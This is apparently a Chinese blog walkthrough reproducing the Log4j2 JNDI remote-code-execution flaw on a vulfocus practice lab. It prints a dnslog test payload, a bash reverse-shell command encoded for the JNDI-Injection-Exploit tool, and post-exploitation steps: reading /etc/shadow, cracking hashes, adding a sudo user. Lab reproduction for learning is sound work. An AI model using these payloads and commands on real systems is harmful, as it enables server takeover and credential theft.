【vulfocus靶场】log4j2 rce复现(vulfocus/log4j2-rce-2021-12-09)

作者:FancyPig | 发布时间: | 更新时间:

相关阅读

之前其实有粉丝发表过Log4j漏洞复现的教程,我们今天做一个补充,感兴趣可以继续阅读!包含POC和EXP

准备工作

  • 靶场虚拟机 CentOS192.168.10.215 用来部署vulfocus的log4j2漏洞
  • 攻击客户端 Ubuntu 192.168.10.217 用来执行RCE 远程控制靶场机器

靶场部署

参考我们之前的文章,使用Docker方式部署Vulfocus

data-postsbox="{"id":3826,"title":"网络安全靶场搭建与练习 附攻略和在线版","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":11277,"comment_count":152,"category":"cybersecurity","is_forum_post":false}">{"id":3826,"title":"网络安全靶场搭建与练习 附攻略和在线版","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":11277,"comment_count":152,"category":"cybersecurity","is_forum_post":false}

下载并启动镜像

这里确认您已经通过Docker部署完Vulfocus,并已登录(默认密码admin/admin)

在vulfocus后台下载vulfocus/log4j2-rce-2021-12-09:latest镜像

然后在首页启动该镜像

复现过程

任务一:dnslog回显

先在http://www.dnslog.cn/获取一个域名,用来测试是否正常回显

这个q98csp.dnslog.cn是我们获取到的域名,一会儿用来验证是否有回显

我们访问目标页面,正常的请求是

http://192.168.10.215:12219/hello?payload=111

这时我们打开BurpSuite并用浏览器的FoxyProxy插件设置好抓包的代理模式

我们使用BurpSuite抓包,将其发送到重放模块中

然后修改payload参数,提交

payload=${jndi:ldap://q98csp.dnslog.cn}

这时发现返回值是400

我们尝试通过URL编码,这里注意仅对payload=后面的部分进行编码,否则会注入失败

然后提交

这里看到返回值是200,说明提交成功了

我们这时回到http://www.dnslog.cn/页面,点击Refresh Record刷新记录

发现回显成功了,这里已经能看到IP地址了,因此我们确认了刚才的提交确实存在Log4j2的漏洞

任务二:RCE远程命令执行

接下来我们将完成漏洞的利用,我们通过Log4j2的漏洞可以尝试对服务器进行远程控制,主要核心还是反弹shell,我们之前讲过,详细原理参考这个视频

data-postsbox="{"id":6757,"title":"黑客是如何远程控制一台电脑/服务器的?反弹shell了解一下!","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":5793,"comment_count":7,"category":"cybersecurity","is_forum_post":false}">{"id":6757,"title":"黑客是如何远程控制一台电脑/服务器的?反弹shell了解一下!","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":5793,"comment_count":7,"category":"cybersecurity","is_forum_post":false}

我们先新建个终端,开启4444端口监听

ncat -lvvp 4444

通过反弹Shell在线生成工具生成shell,来进行反弹shell

bash -i >& /dev/tcp/192.168.10.217/4444 0>&1

然后将其转换为base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIxNy80NDQ0IDA+JjE=

然后配合我们的JNDI注入工具,相关命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIxNy80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.217

上传好JNDI注入工具( JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar )然后使用终端运行上面的命令

复制rmi://192.168.10.217:1099/6icmea

然后将其填入payload参数中

然后对payload=后面的部分进行url编码

然后提交

然后我们发现这里貌似在建立连接了

然后进入最开始4444端口监听的终端,我们发现居然连上了192.168.10.215的虚拟机了

然后我们,cd ../tmp就可以找到flags了

然后通关了

当然你如果到了远程连接这一步,其实还可以做很多,我们之前整理过一些常见的命令

  • 获取系统账户信息(cat /etc/shadow

拿到账户名和加密的密码后,使用我们之前讲的hashcat可以进行破解

data-postsbox="{"id":5494,"title":"【视频教程】如何高效、优雅地破解密码?hydra、Hashcat你值得拥有!","author":"FancyPig","author_id":1,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2021/12/20211218022439993.png","cover_video":"","views":5287,"comment_count":167,"category":"cybersecurity","is_forum_post":false}">{"id":5494,"title":"【视频教程】如何高效、优雅地破解密码?hydra、Hashcat你值得拥有!","author":"FancyPig","author_id":1,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2021/12/20211218022439993.png","cover_video":"","views":5287,"comment_count":167,"category":"cybersecurity","is_forum_post":false}
  • 添加用户(useradd -m 用户名
  • 提升用户权限(usermod -G sudo 用户名

相关工具汇总

标签:docker, vulfocus, Log4j, vulfocus靶场, vulfocus log4j, vulfocus攻略, vulfocus部署, log4j2远程代码执行漏洞, log4j2漏洞原理, log4j2漏洞解决, logj42漏洞, log4j2漏洞检测工具